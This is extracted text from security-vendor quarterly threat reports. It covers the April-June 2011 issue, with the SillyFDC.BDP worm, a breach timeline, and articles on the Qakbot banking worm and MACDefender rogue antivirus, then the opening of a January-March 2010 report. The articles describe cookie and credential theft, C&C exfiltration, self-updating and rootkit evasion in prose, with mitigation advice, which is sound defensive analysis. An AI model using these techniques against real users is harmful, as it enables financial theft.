•.Microsoft.Windows.shortcut.‘LNK/PIF’.files.automatic.file.execution.vulnerability
The SillyFDC.BDP worm :.SillyFDC.has.been.a.prominent.malicious.code.family.since.it.was.discovered.in.2007..
In.March.2011,.the.variant.SillyFDC.BDP.was.detected,.and.it.has.quickly.become.one.of.the.top.10.reported.
samples,.rising.up.to.rank.eighth.in.this.quarter..
While.able.to.propagate.like.other.SillyFDC.variants.by.copying.itself.to.removable.drives,.SillyFDC.BDP.can.also.
copy.itself.to.network.shares..As.with.Ramnit.B,.it.also.exploits.the.“Microsoft.Windows.shortcut.‘LNK/PIF’.files.
automatic.file.execution.vulnerability.”.It.also.exploits.the.“Microsoft.Windows.Server.service.RPC.handling.
remote.code.execution.vulnerability.”.
Once.installed.on.a.compromised.computer,.the.worm.will.download.and.install.additional.threats..One.of.the.
threats.is.known.to.be.the.Tidserv.worm,.which.subsequently.sets.up.a.backdoor..SillyFDC.BDP.also.sets.up.its.
own.DHCP.server.and.hijacks.the.DNS.configurations.of.computers.on.the.same.network.that.attempt.to.renew.
their.IP.addresses.
•.Read.more.about.SillyFDC
•.Read.more.about.SillyFDC.BDP
•.Read.more.about.Tidserv
•.Microsoft.Windows.Server.service.RPC.handling.remote.code.execution.vulnerabilitySymantec.Intelligence.Quarterly:.April-June,.2011
Page.11
Security ResponseTimeline
Figure.11 .
Notable events in the threat landscape: April-June, 2011
April
Operation Adeona
FBI kneecap Coreflood
botnet by replacing known C&C servers with their own.
Major Fraud Verdict
Rogelio Hackett Jr. gets 10 years and fined $500K for trafficking 676,000stolen credit cards (that generated over
$36M in fraudulent
transactions).
PlayStation Breach
Sony PlayStation network breached.Over 77M accounts stolen. Data quickly
appears in under-
ground economy.
“Stars” Attacks
Iran claims to be again targeted, this time by “Stars” worm.
Major Events Exploited
Japan tsunami, New Zealand earthquake, and British royal wedding exploited in
spam, phishing,
and malware campaigns.
Scareware12
2621June
Citigroup Breach
Over 360K Citigroup customers’ personal information exposed, including names, account numbers,
and contact info.
“Anonymous” Arrests
Spanish authorities arrest three alleged
members of Anonymous hacker organi-zation. Three days later in Turkey, authorities arrest an
additional 32 alleged
members.
Sega Breach
Sega database breached, exposing email addresses, birthdates, and encrypted
passwords
on 1.3M users.
FBI Raids Scareware Scammers
FBI coordinates global raid,
seizing 5 bank accounts
and 40 computers
hosting scareware.
Targets assets of
two groups believed
to have made over
$72 million from
scareware scams.8
10June
Death of Osama bin Laden
Osama bin Laden killing fuels a mountain of spam, phishing and malware campaigns, including clickjacking
scams on social net-
working sites.
Second Sony Breach
Sony Online Entertainmentnetwork breached. Nearly25M users exposed.
U.S. Cyberspace Policy Review
White House moves to standardize national data breach reporting and increase penaltiesfor convicted
cybercriminals,
including manda-tory sentences.
EU Cookie Laws in effect
Regulations come into effect requiring
user permission before delivering
cookies. Fines up
to 500K Euros for
not complying. 2
2
26May
12
26
10
10Symantec.Intelligence.Quarterly:.April-June,.2011
Page.12
Security ResponseArticles
Qakbot: Not Nearly as Funny as it Sounds
Overview
W32.Qakbot —usually.pronounced.“kwak-bot”—is.a.worm.whose.primary.purpose.is.to.steal.online.banking.ac -
count.information.from.compromised.computers..While.attacks.targeting.sensitive.data.continue.to.be.prevalent.
in.today’s.threat.landscape,.Qakbot.has.proven.to.be.a.particularly.sophisticated.example..
First.discovered.in.May.2009,.there.was.a.recent.surge.of.Qakbot.worm.infections.in.the.second.quarter.of.2011,.
due.primarily.to.the.release.of.several.new.variants.in.April.(figure.13)..Although.Qakbot.infections.were.report -
ed.worldwide.during.this.latest.surge,.the.majority.of.them.affected.systems.in.the.United.States.(figure.14)..This.
is.because.the.main.targets.of.Qakbot.are.the.customers.of.U.S..banks..
Figure.12 .
Qakbot infections by day
1 5 9 1 3 1 7 2 1 2 5
A p r i l M a y J u n e29 3 7 11 15 19 23 27 31 4 8 12 16 20 24 28200,000
175,000
150,000
125,000
100,000
75,00050,000
25,000
0Qakbot infection s225,000250,000
Date
Figure.13 .
Qakbot infections by country
3
6
597
2410
1
8Source Rank Percentage
United.States 1 91%
India 2 2%
United.Kingdom 3 1%
China 4 1%
Australia 5 1%
Indonesia 6 <.1%
Russia 7 <.1%
St..Kitts.and.Nevis 8 <.1%
Spain 9 <.1%
Canada 10 <.1%Symantec.Intelligence.Quarterly:.April-June,.2011
Page.13
Security ResponseQakbot’s.main.method.of.propagation.is.through.network.shares.and.removable.drives..Once.on.a.compromised.
computer,.it.downloads.additional.files,.opens.a.backdoor,.and.steals.information..The.worm.also.contains.rootkit.
functionality.to.allow.it.to.hide.its.presence.
One.distinguishing.feature.of.Qakbot.is.that.it.spreads.slowly.and.stealthily.in.order.to.keep.users.from.being.alerted.
to.its.presence.or.activities..This.has.contributed.to.its.longevity.and.persistence..Other.factors.that.have.contrib -
uted.to.its.longevity.are.the.numerous.variants.of.the.worm.that.have.been.released.since.its.initial.discovery.and.
its.ability.to.automatically.update.itself..The.self-updating.functionality.of.Qakbot.enables.it.to.elude.or.otherwise.
counter.an.array.of.mitigation.efforts.. One.recent.example.of.a.major.Qakbot.attack .occurred.on.the.network.of.the.
UK.National.Health.Service..In.the.attack,.Qakbot.managed.to.infect.over.1,100.separate.computers.that.were.spread.
across.multiple.subnets.within.the.organization’s.network.before.it.was.discovered.
Motivations and Targets
As.with.most.malware.being.developed.today,.the.main.purpose.of.Qakbot.is.to.harvest.financial.data.from.victims’.
computers..Qakbot.was.designed.to.steal.information.much.like.a.keylogging.Trojan.is.able.to..Once.present.on.a.
compromised.system,. Qakbot.seeks.out.a.range.of.information .such.as.authentication.cookies.(including.Adobe®.
Flash®.local.shared.objects),.FTP.and.IRC.login.credentials,.and.logins.for.email.accounts..
In.general,.malware.that.targets.cookies.does.so.because.cookies.are.used.to.store.text.information.that.is.associ -
ated.with.users’.activities.on.websites..Depending.on.how.they.have.set.up.their.browser.security.and.permissions,.
users.often.need.to.enter.their.information.into.a.website.only.once;.then,.for.as.long.as.the.cookie.remains.valid,.the.
website.will.show.relevant.content.upon.future.visits..For.example,.if.a.user.selects.a.“remember.me”.button.when.
logging.in.to.a.Web-based.email.site,.the.associated.cookie.will.not.expire.until.it.is.manually.deleted..This.means.
that,.if.a.user.closes.the.browser.without.logging.out.from.the.session,.the.cookie.may.keep.the.session.active..This.
would.cause.the.user’s.account.to.remain.accessible.if.the.site.is.revisited.from.the.same.computer.before.the.ses -
sion.timed.out..(Most.sites.will.end.a.session.if.there.is.no.activity.from.the.user.after.a.set.period.).Although.this.is.a.
convenient.feature,.this.can.be.a.security.issue.if.the.user.is.accessing.his.or.her.account.from.a.shared.computer.
Qakbot.is.also.programmed.to.steal.the.authentication.cookies.that.some.websites.use.to.identify.users.in.order.to.
provide.them.with.secure.access..This.enables.the.attacker.to.then.impersonate.the.victim.on.the.site.that.initially.
delivered.the.cookie.(online.banking.site,.Webmail,.etc.)..This.is.because.the.stolen.cookies.are.afforded.the.same.
authenticity.as.legitimate.ones..In.addition,.Qakbot.has.the.ability.to.delete.a.site’s.authentication.cookies.from.
compromised.computers,.thus.forcing.victims.to.re-enter.their.credentials.when.returning.to.that.site..Qakbot.then.
harvests.the.credentials.using.its.keystroke.logger.when.the.victims.re-type.the.usernames.and.passwords.
It.is.worth.noting.that,.because.cookies.may.contain.personal.information,. a.recent.EU.privacy.directive .will.require.
website.owners.to.gain.explicit.permission.from.users.in.the.European.Union.prior.to.setting.cookies.that.are.not.
strictly.necessary.on.their.systems..(For.example,.a.cookie.that.is.used.to.remember.the.contents.of.a.user’s.shop -
ping.cart.for.the.duration.of.his.or.her.session.is.considered.necessary,.whereas.a.cookie.that.is.used.to.remember.
visiting.unsecured,.publicly.available.pages.is.not.).This.directive.was.introduced.to.address.concerns.regarding.
users’.privacy.when.visiting.websites,.because.many.users.may.not.be.aware.of.the.personal.information.collected.by.
these.cookies..
One.important.aspect.of.Qakbot.is.that.it.is.able.to.steal.login.information.for.certain.online.banking.websites.and.
can.relay.session.authentication.tokens.to.its.C&C.server..This.allows.an.attacker.to.shadow.a.particular.online.bank -
ing.session.and.perform.transactions.from.a.victim’s.account.without.the.victim’s.knowledge..Moreover,.because.
the.attacker.can.act.concurrently.with.the.user,.the.attacker.can.circumvent.many.of.the.security.features.found.
on.banking.websites,.such.as.session.validity.measures..For.example,.many.banking.websites.will.automatically.
terminate.a.user’s.session.after.a.specific.period.without.any.activity..This.measure.is.applied.in.case.the.user.has.
forgotten.to.sign.out,.thereby.restricting.access.to.the.next.person.who.uses.the.computer..Qakbot.lets.the.attacker.
maintain.the.session.as.active.and.prevents.the.bank’s.site.from.ending.it...
In.addition,.Qakbot.is.able.to.alter.how.a.page.is.displayed.to.a.victim.in.order.to.hide.certain.elements,.such.as.
“sign.out”.buttons..Without.this.type.of.visual.clue,.the.user.may.instead.simply.close.the.browser.instance.without.
actually.logging.out.from.the.banking.session..The.attacker.could.then.keep.the.session.active.and.gain.unhindered.
access.to.the.user’s.accounts.Symantec.Intelligence.Quarterly:.April-June,.2011
Page.14
Security ResponseA.review.of.the.banks.targeted.by.Qakbot.indicates.that.they.are.all.located.in.the.United.States..This.likely.in -
dicates.that.the.authors.of.the.worm.are.familiar.with.U.S..banking.institutions.and.that.the.customers.of.these.
banks.are.the.attackers’.main.targets..Although.the.number.of.people.doing.their.banking.online.is.increasing.
worldwide,.it.has.become.especially.popular.in.the.United.States..For.example,. a.recent.survey .showed.that.36.
percent.of.bank.customers.preferred.to.do.their.banking.online.versus.using.an.ATM.or.seeing.a.teller..This.pro -
vides.a.target-rich.environment.from.which.to.steal.financial.information.and.funds.
Attack Methods
The.Qakbot.worm.tries.to.infect.computers.by. attempting.to.exploit.vulnerabilities.on.a.user’s.system .when.
the.user.visits.a.compromised.website.or.when.the.user.unwittingly.clicks.on.a.malicious.link.(found.in.spam,.
social.networking.site.scams,.etc.)..Some.of.the.vulnerabilities.exploited.in.a.Qakbot.attack.include. “Microsoft®.
Internet.Explorer®.ADODB.Stream.Object.File.Installation.Weakness” .and. “Apple®.QuickTime®.RTSP.URI.Remote.
Buffer.Overflow.” .Once.a.compromise.occurs,.the.worm.and.its.files.are.downloaded.onto.the.computer.without.
any.further.interaction.required.from.the.user,.thereby.infecting.it..
Once.it.is.on.an.infected.computer,.Qakbot.opens.a.backdoor.in.order.to.create.an.entry.point.into.the.system.to.
facilitate.remote.access..From.then.on,.the.attacker.can.proceed.to.search.for.and.steal.sensitive.information..
Qakbot.also.contains.rootkit.functionality.that.it.uses.to.hide.its.presence.on.the.system..This.enables.Qakbot.
to.alter.system.processes.using.hooks.to.hide.files,.processes,.registry.keys,.and.network.connections.from.the.
system.itself..In.addition,.Qakbot.is.able.to.block.access.to.security.vendor.websites.by.checking.for.URLs.that.
contain.keywords.related.to.these.sites,.and.then.returning.an.invalid.IP.address.when.the.browser.performs.
a.DNS.lookup..This.tactic.is.likely.used.by.attackers.to.hinder.the.user.from.accessing.information.on.security.
vendor.sites.that.would.explain.how.to.remove.the.Qakbot.worm.
Qakbot’s.primary.C&C.communication.method.is.through.HTTP,.while.a.secondary.FTP.channel.is.used.by.the.
worm.for.uploading.and.downloading.files..Qakbot.is.programmed.to.upload.all.stolen.information.to.C&C.
servers.controlled.by.the.attacker..One.technique.that.attackers.use.to.elude.detection.is.to.frequently.shift.to.
different.servers..Symantec.monitored.a.number.of.the.FTP.servers.and. observed.over.4.GB.of.stolen.informa -
tion.uploaded.in.two.weeks ..(Four.gigabytes.of.data.can.contain.more.than.100,000.credit.card.numbers,.expiry.
dates,.and.cardholder.names..).The.stolen.data.included.online.banking.information,.credit.card.information,.
social.network.credentials,.Internet.mail.credentials,.and.Internet.search.histories.
Propagation
Qakbot.spreads.and.infects.other.systems.through.three.primary.channels:.
•.Network-share.drives
•.Removable.drives.
•.Infected.Web.pages.hosted.on.compromised.FTP.servers.
Network-share drives: .Qakbot.can.infect.all.accessible.network.resources—including.all.users.on.a.network.
that.the.compromised.computer.is.on—by.copying.a.version.of.itself.onto.the.network.and.starting.a.remote.
service.that.accesses.it..
Removable drives: .The.worm.can.copy.itself.onto.removable.drives.using.a.random.filename..It.then.creates.
an.autorun.inf.file.for.itself.on.the.removable.drive..This.will.result.in.Qakbot.automatically.executing.when.the.
removable.drive.is.connected.to.another.computer—thereby.infecting.it.
Infected Web pages: .Qakbot.uses.stolen.FTP.credentials.to.gain.access.to.servers.that.host.Web.pages..It.modi -
fies.Web.pages.hosted.on.those.FTP.servers.by.adding.extra.code.to.the.pages.so.that.a.drive-by.download.of.
Qakbot.is.initiated.when.a.user.visits.the.site.using.a.vulnerable.browser..In.order.to.gain.access.to.FTP.servers,.
Qakbot.communicates.with.its.C&C.server,.which.in.turn.sends.the.worm.a.list.of.previously.stolen.FTP.address -
es.and.credentials,.as.well.as.HTML.code.to.inject.into.the.Web.pages..
Self-Updating Variants
One.of.the.main.reasons.for.the.longevity.of.the.Qakbot.worm.is.its.ability.to.self-update.and.download.new.
versions.of.itself..The.update.process.can.either.be.instigated.by.the.attacker.or.automatically.executed.by.the.Symantec.Intelligence.Quarterly:.April-June,.2011
Page.15
Security Responseworm.itself.as.part.of.its.initialization.routine..Qakbot.uses.two.process.commands.to.update.itself,.“instwd”.and.
“update”:.
• Instwd: .With.the.“instwd”.command,.the.worm.sends.a.query.to.its.C&C.server.to.check.for.newer.versions.of.
itself..The.server.will.then.send.a.newer.version.of.the.Qakbot.executable.if.one.is.available,.which.is.saved.as.
a.random.filename.in.the.‘temp’.directory.of.the.victim’s.computer.
• Update: .With.the.“update”.command,.the.C&C.server.directs.the.worm.to.a.URL.from.which.it.can.receive.
instructions.on.downloading.custom.updates.for.a.compromised.computer.or.common.updates.for.all.compro -
mised.computers..The.instructions.can.include.URLs.of.other.files.to.download.(including.updates.to.Qakbot.
itself).as.well.as.additional.commands.to.execute.
Such.customized.updates.and.the.ability.to.hide.files.within.a.computer.make.it.difficult.for.victims.to.remove.
Qakbot.from.their.systems..As.such,.the.best.protection.from.Qakbot.is.to.prevent.the.initial.infection.
Protection and Mitigation
Attackers.have.become.increasingly.motivated.by.profit.and.are.attracted.by.the.proliferation.of.malicious.code.
designed.to.steal.personal.information..The.increasing.popularity.of.using.the.Web.for.a.range.of.daily.activities,.
including.sensitive.financial.transactions,.makes.it.likely.that.users.will.continue.to.be.subject.to.more.threats.
of.this.nature..Successful.compromises.can.result.in.substantial.financial.losses;.therefore,.it.is.critical.that.you.
protect.your.computer.from.malicious.code.attacks..This.is.true.for.both.individual.users.as.well.as.companies.
Users.and.administrators.should.ensure.they.are.doing.everything.possible.to.reduce.exposure.to.Qakbot.and.
other.malicious.threats.by.employing.a.modern.Internet.security.solution.consisting.of.multiple.layers.of.protec -
tion.technologies..Relying.on.antivirus.software.alone.to.detect.malware.is.no.longer.sufficient..For.example,.
threats.such.as.Web-attack.toolkits.can.simultaneously.exploit.up.to.25.different.vulnerabilities.using.a.wide.
range.of.attack.vectors.such.as.drive-by.downloads..Moreover,.many.attacks.employ.self-updating,.polymorphic.
exploits.that.can.undermine.positive.identification.by.antivirus.applications.
In.2010,.Symantec.protection.technologies.blocked.more.than.3.billion.attacks—approximately.48.percent.of.
which.were.blocked.using. network-based.protection.technologies .such.as.an.intrusion.prevention.system.(IPS).
and.browser.protection..These.solutions.can.prevent.initial.infection.vectors.of.Qakbot.and.are.an.effective.layer.
of.protection.that.some.users.may.not.be.using.beyond.having.an.antivirus.solution.in.place..For.more.details.on.
these.solutions,.please.see.the. Symantec.Endpoint.Protection.Best.Practices ..
To.reduce.the.chances.of.being.infected.by.Qakbot,.Symantec.advises.implementing.the.following.recommenda -
tions:
•.Qakbot.infects.enterprises.via.Web-attack.toolkits.exploiting.vulnerabilities.in.software.applications.against.
which.IPS.provides.protection..Enabling.IPS.in.Symantec.Endpoint.Protection.(SEP).can.prevent.the.initial.
infection..
•.Use.IPS.“post-infection”.signatures .in.SEP.for.IPS-enabled.systems.to.detect.infected.systems.and.prevent.
them.from.updating.and.infecting.other.systems..
•.Learn.about.Qakbot..For.example,.Symantec.has. a.detailed.family.write-up .on.W32.Qakbot..The.article.de -
scribes.the.worm.and.includes.comprehensive.prevention.mechanisms.and.how.to.remove.Qakbot.if.your.
computer.is.infected.(this.includes.the. Symantec.W32.Qakbot.Permission.Reset.Tool ).
For.additional.information.on.Qakbot,.please.see.the.Symantec.whitepaper,. W32.Qakbot.in.Detail .Symantec.Intelligence.Quarterly:.April-June,.2011
Page.16
Security ResponseMACDefender: Not Protecting Macs at All
Overview
In.early.May.2011,.new.rogue.security.software.called. MACDefender .emerged.that.affected.computers.running.
the.Apple.Mac.OS®.X.operating.system..In.a.likely.bid.to.defy.subsequent.protective.measures,.other.variants.
soon.followed;.these.include. MacProtector ,.MacSecurity,.and.MacGuard.
By.May.23,.2011,.there.were.an.estimated.60,000.to.125,000.computers.infected.with.MACDefender.and.its.
subsequent.rebranded.variants..This.Trojan.acts.like.a.typical.rogue.security.software.program;.because.of.this,.
it.has.been.compared.to.rogue.applications.such.as.MacSweeper.and.iMunizator.(both.of.which.are.discussed.in.
the.Symantec. Report on Rogue Security Software .)
Rogue.security.software.programs.have.been.in.existence.for.years,.primarily.affecting.Windows-based.plat -
forms..Symantec.defines.rogue.security.software.as.a.type.of.misleading.application.that.purports.to.be.legiti -
mate.security.software,.such.as.an.antivirus.scanner.or.registry.cleaner,.but.which.actually.provides.a.user.with.
little.or.no.protection.and.that,.in.some.cases,.can.actually.facilitate.the.installation.of.malicious.code.that.it.
claims.that.it.protects.against..To.lure.users.into.downloading.and.installing.these.malicious.programs,.rogue.
security.software.programs.often.report.false.or.exaggerated.system.security.threats.on.the.computer.
Motivations and Targets
Although.malicious.code.targeting.Mac.computers.is.not.new,.the.recent.surge.in.threats.may.indicate.that.the.
Mac.computer.market.has.reached.a.point.that.attackers.believe.they.can.effectively.exploit.Mac.users..For.
example,.although.PCs.still.make.up.the.majority.of.computers.being.sold,. vendor.shipments.of.Apple.computers.
have.grown.by.almost.19.percent.since.2010 .
As.with.the.majority.of.malware.being.developed.and.released,.the.primary.motivation.of.misleading.applica -
tions.is.profit..The.creators.and.distributors.of.rogue.security.software.scams.try.to.trick.users.into.believing.
that.these.programs.are.legitimate.and.valid.so.that.the.victims.will.download.them.and.then.pay.to.“enable.
installation.”.For.example,.MACDefender.is.usually.offered.to.potential.victims.for.$99.(USD)..Recently,.a.Russian.
online.payment.processing.company.(that.has.previously.profited.from.other.rogue.security.software.scams). has.
been.allegedly.linked.to.MACDefender.
Attack Methods
Attackers.most.often.use.fear.tactics.to.lure.victims.into.installing.and.purchasing.these.programs..Such.tactics.
include.social.engineering.ploys.through.false.pop-up.warnings.and.advertisements.on.legitimate.websites..
MACDefender.follows.this.norm. while.also.using.search.engine.optimization.(SEO).poisoning .so.that.malicious.
links.to.it.get.ranked.higher.in.certain.Web.searches..
MACDefender.is.also. propagated.using.compromised.image.searches ..In.this.technique,.when.users.conduct.
certain.image.searches,.if.they.click.on.a.malicious.image.that.has.been.seeded.into.results.via.SEO.poisoning,.
they.will.be.redirected.to.a.website.for.the.rogue.security.software..The.SEO.poisoning.is.accomplished.by.com -
promising.websites.(by.injecting.them.with.malicious.scripts).that.will.then.load.images.from.a.third-party.site.
controlled.by.the.attackers..Once.the.images.are.indexed.by.search.engine.bots,.they.will.appear.higher.in.search.
results..Attackers.count.on.users.being.more.likely.to.trust.that.the.images.are.legitimate.if.they.appear.high.up.
in.search.results.and.if.they.appear.on.legitimate.sites.alongside.otherwise.innocuous.images.and.page.content..
Once.a.user.clicks.on.a.malicious.link,.his.or.her.system.is.checked.by.the.scareware.to.verify.that.the.user.is.
running.OS.X..Upon.validation,.a.Java-based.script.is.launched.that.simulates.a.scan.of.the.computer..The.script.
inevitably.reports.that.the.user’s.computer.contains.malware..If.the.user.falls.for.the.scam.and.downloads.the.
“solution”.(i.e.,.the.rogue.security.software),.and.the.“open.safe.files.after.downloading”.option.is.enabled.in.the.
user’s.Safari®.browser,.the.rogue.application.will.prompt.the.user.to.enter.an.administrator.password.to.allow.
the.program.to.be.installed..(Safari.is.the.default.browser.for.Mac.computers.).Since.“open.safe.files.after.down -
loading”.is.the.default.setting.for.Safari,.it.is.likely.that.most.people.will.have.this.function.enabled—especially.
considering.the.historical.lack.of.Web-based.threats.targeting.Mac.computers..Symantec.Intelligence.Quarterly:.April-June,.2011
Page.17
Security ResponseMACDefender.and.its.variants.also.propagate.via.fake.links.posted.onto.social.networking.sites ..Attackers.are.
likely.attracted.by.the.target-rich.environment.presented.by.these.sites.. A.recent.survey .suggested.that.47.per -
cent.of.adults.in.the.United.States.have.profiles.on.at.least.one.social.networking.site—an.increase.of.almost.80.
percent.from.2008—and.nearly.half.
of.those.with.profiles.checked.them.
on.a.daily.basis.
In.the.“fake.link”.ploy,.a.link.to.a.
video.is.posted.on.the.user’s.page.
using.a.friend’s.account.that.has.
already.been.compromised.by.
MACDefender..The.scam.link.uses.
a.sensational.headline.to.entice.the.
user.to.click.it..If.clicked,.the.link.
directs.the.victim.to.a.website.with.
pornographic.video.footage..An -
other.window.is.then.launched.that.
features.MACDefender.and.informs.
the.victim.that.his.or.her.computer.
has.been.infected.with.malicious.
code..
In.addition,.by.clicking.on.the.scam.
link,.the.victim.will.unwittingly.rec -
ommend.the.link.to.all.of.his.or.her.
friends..Clicking.the.link.also.results.
in.it.being.posted.on.the.victim’s.
profile.page..Designed.to.increase.
the.viral.spread.of.the.scam,.this.
technique. is.known.as. clickjacking ,.
whereby.a.Web.page.is.modified.to.show.a.set.of.“dummy”.links.that.actually.mask.links.to.other.destinations..
These.social.networking.ploys.rely.on.the.likelihood.that.users.will.trust.a.posting.from.a.networked.friend..The.
same.survey.cited.earlier. also.discovered .that.a.large.percentage.of.frequent.social.network.users.are.far.more.
likely.to.believe.that.most.people.can.be.trusted,.compared.to.other.Internet.users,
Once.present.on.a.Mac.computer,.MACDefender.will.launch.each.time.the.computer.is.rebooted..To.elude.dis -
covery,.it.prevents.an.icon.of.the.program.from.appearing.in.the.dock,.which.would.make.it.more.difficult.for.the.
user.to.detect.its.presence..(On.a.Mac.computer,.
the.dock.is.a.bar.of.icon.shortcuts.of.active.pro -
grams.that.usually.sits.on.the.side.or.bottom.of.
the.user`s.screen..As.with.the.task.bar.on.a.PC,.it.
is.meant. to.provide. easy. access. to.currently. open.
and.frequently.used.applications.)
To.bilk.the.victim,.MACDefender.prompts.the.
user.to.purchase.a.subscription.following.a.false.
scan.of.the.computer.and.alerts.directed.at.the.
user.regarding.the.(nonexistent).threats.found.
on.the.system.(figure.15)..If.the.user.does.not.
agree.to.purchase.a.subscription,.the.application.
will.then.start.to.display.pornographic.websites.
at.random..Due.to.the.professional.appearance.
of.the.program.and.similarities.to.legitimate.
security.software,.many.victims.may.not.realize.
that.it.is.a.scam..Figure.14 .
MACDefender false security warning of infection
Figure.15 .
MACDefender registration pop-up
Symantec.Intelligence.Quarterly:.April-June,.2011
Page.18
Security ResponseDespite.a. security.update.issued.by.Apple .to.mitigate.this.threat,.the.authors.of.MACDefender.apparently.antici -
pated.the.company’s.probable.response;.within.eight.hours.of.the.update,.they. released.the.MacGuard.variant.
that.bypassed.the.update.to.block.MACDefender..The.MacGuard.variant.assumes.that.most.Mac.computer.users.
are.operating.with.administrator.rights.to.their.computers—which.is.the.default.setting..In.this.scenario,.any.
user.operating.with.an.administrator.account.can,.without.a.password,.install.software.into.the.applications.
folder..Because.of.this,.the.MacGuard.variant.will.download.as.“avSetup.pkg”.into.the.“Applications”.folder.(ver -
sus.the.default.“Downloads”.folder)..Prior.to.this.variant,.MACDefender.required.users.to.enter.an.administrator.
password.in.order.to.complete.the.installation.of.the.application..With.MacGuard,.if.the.browser’s.option.to.open.
“safe”.files.after.download.is.selected,.the.package.automatically.installs. without.requiring.the.user.to.enter.an.
administrator.password ..The.program.will.then.call.to.a.remote.IP.address.as.part.of.its.setup.routine.in.order.
to.download.and.install.MacGuard..This.likely.indicates.that.the.creators.of.the.rogue.security.software.monitor.
security.updates.in.order.to.continually.adapt.and.improve.their.threats.
Protection and Mitigation
Historically,.malicious.code.and.scam.authors.have.targeted.Windows-based.systems.because.of.their.dominant.
market.share..With.the. increasing.market.share.of.Apple.computers ,.however,.it.may.be.the.case.that.more.mali -
cious.code.authors.and.attackers.will.be.attracted.to.the.Mac.OS.X.platform..As.a.result,.Mac.OS.X.users.may.see.
more.malicious.code.and.scams.targeted.at.them.as.cybercriminals.attempt.to.test.the.success.of.exploiting.this.
user.base.for.profitability..
The.exploitation.of.automatic.installation.is.a.relatively.old.tactic.for.malware..Windows.users.have.been.dealing.
with.this.for.years,.to.the.point.that.it.has.been.mitigated.significantly.by.default.security.features.in.Windows-
based.applications..Due.to.the.relative.rarity.of.threats.to.Mac.computers,.though,.users.have.had.comparatively.
little.exposure.to.such.threats..As.a.result,.they.may.take.fewer.preventative.measures,.such.as.not.deploying.
antivirus.software..
To.limit.exposure.to.MACDefender.and.its.variants,.administrators.and.users.on.Mac.OS.X.systems.should.take.a.
number.of.precautions:
•.Administrators.should.employ.defense-in-depth.strategies.and.deploy.the.most.up-to-date.antivirus.software.
and.a.firewall..
•.To.protect.against.potential.rogue.security.software.scam.activity,.organizations.should.educate.their.end.
users.about.these.scams..They.should.keep.their.employees.notified.of.the.latest.scams.and.how.to.avoid.fall -
ing.victim.to.them..Organizations.should.also.provide.a.means.to.report.suspected.malicious.rogue.security.
software.websites..
•.Organizations.can.minimize.the.effect.of.malicious.activity.and.hence.minimize.the.effect.on.day-to-day.opera -
tions.by.creating.and.enforcing.policies.that.identify.and.restrict.applications.that.can.access.the.network.
•.Be.careful.when.installing.programs.from.an.unknown.source.because.these.programs.may.contain.malicious.
code..
•.Be.cautious.when.clicking.on.links.within.social.networking.sites.or.emails,.especially.if.they.are.about.recent.
news.topics.and.have.catchy.titles.or.descriptions.such.as.“You.have.to.see.this!”.or.“OMG,.this.is.a.great.
video!”.Be.suspicious.of.these.postings.even.if.they.are.from.trusted.friends.because.attackers.may.have.com -
promised.a.friend’s.account..
•.Beware.of.pop-up.displays.and.banner.advertisements.that.mimic.legitimate.displays.or.that.try.to.promote.
security.products..
•.Do.not.accept.or.open.suspicious.error.displays.from.within.a.Web.browser;.these.are.often.methods.used.by.
rogue.security.software.scams.to.lure.users.into.downloading.and.installing.a.fake.product..
•.Only.purchase.security.software.from.reputable.and.trusted.sources.and.only.download.applications.directly.
from.the.vendor’s.website.or.legitimate.partners.
|
Symantec IntelligenceSymantec Intelligence
QuarterlyQuarterly
January - March 2010
Quarterly Report: Symantec Intelligence Quarterly
Symantec Intelligence QuarterlySymantec Intelligence Quarterly
January - March 2010
Contents
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Highlights . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Metrics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
The Hydraq Trojan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Credits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12IntroductionIntroduction
Symantec has established some of the most comprehensive sources of Internet threat data in the world through the
Symantec™ Global Intelligence Network. More than 240,000 sensors in over 200 countries and territories monitor attack
activity through a combination of Symantec products and services such as Symantec DeepSight™ Threat Management
System, Symantec™ Managed Security Services and Norton™ consumer products, as well as third-party data sources.
Symantec also gathers malicious code intelligence from more than 133 million client, server, and gateway systems that
have deployed its antivirus products. Additionally, the Symantec distributed honeypot network collects data from around
the globe, capturing previously unseen threats and attacks and providing valuable insight into attacker methods.
Spam and phishing data is captured through a variety of sources including: the Symantec probe network, a system of more
than 5 million decoy accounts; MessageLabs™ Intelligence, a respected source of data and analysis for messaging security
issues, trends and statistics, and other Symantec technologies. Over 8 billion email messages as well as over 1 billion Web
requests are processed each day across 16 data centers. Symantec also gathers phishing information through an
extensive antifraud community of enterprises, security vendors and over 50 million consumers.
These resources give Symantec security analysts unparalleled sources of data with which to identify, analyze, and provide
informed commentary on emerging trends in attacks, malicious code activity, phishing, and spam. This regional report will
discuss notable aspects of malicious activity that Symantec has observed in the first quarter of 2010.
An important note about these statisticsAn important note about these statistics
The Symantec Global Intelligence Network uses automated systems to map the IP address of the attacking system to
identify the country in which it is located. However, because attackers frequently use compromised systems situated
around the world to launch attacks remotely, the location of the attacking system may differ from the location of the
attacker.
HighlightsHighlights
•The United States was the top country for malicious activity in this quarter, accounting for 30 percent of the
total.
•Credit card information the most commonly advertised item for sale on underground economy servers known to
Symantec in this quarter, accounting for 17 percent of all goods and services.
•The top Web-based attack for the quarter was related to malicious PDF activity, which accounted for 57 percent
of the total.
•Symantec created 958,585 new malicious code signatures during this quarter.
•The most common malicious code sample by potential infections during this quarter was the Sality.AE virus.
•Symantec observed 13.8 trillion spam messages during this quarter, accounting for approximately 90 percent
of all email messages observed.
•The majority of brands used in phishing attacks this quarter were in the financial sector, which accounted for
73 percent of the total.Symantec Intelligence Quarterly
January - March 2010
1MetricsMetrics
Malicious activity by countryMalicious activity by country
This metric will assess the countries in which the highest amount of malicious activity took place or originated. Rankings
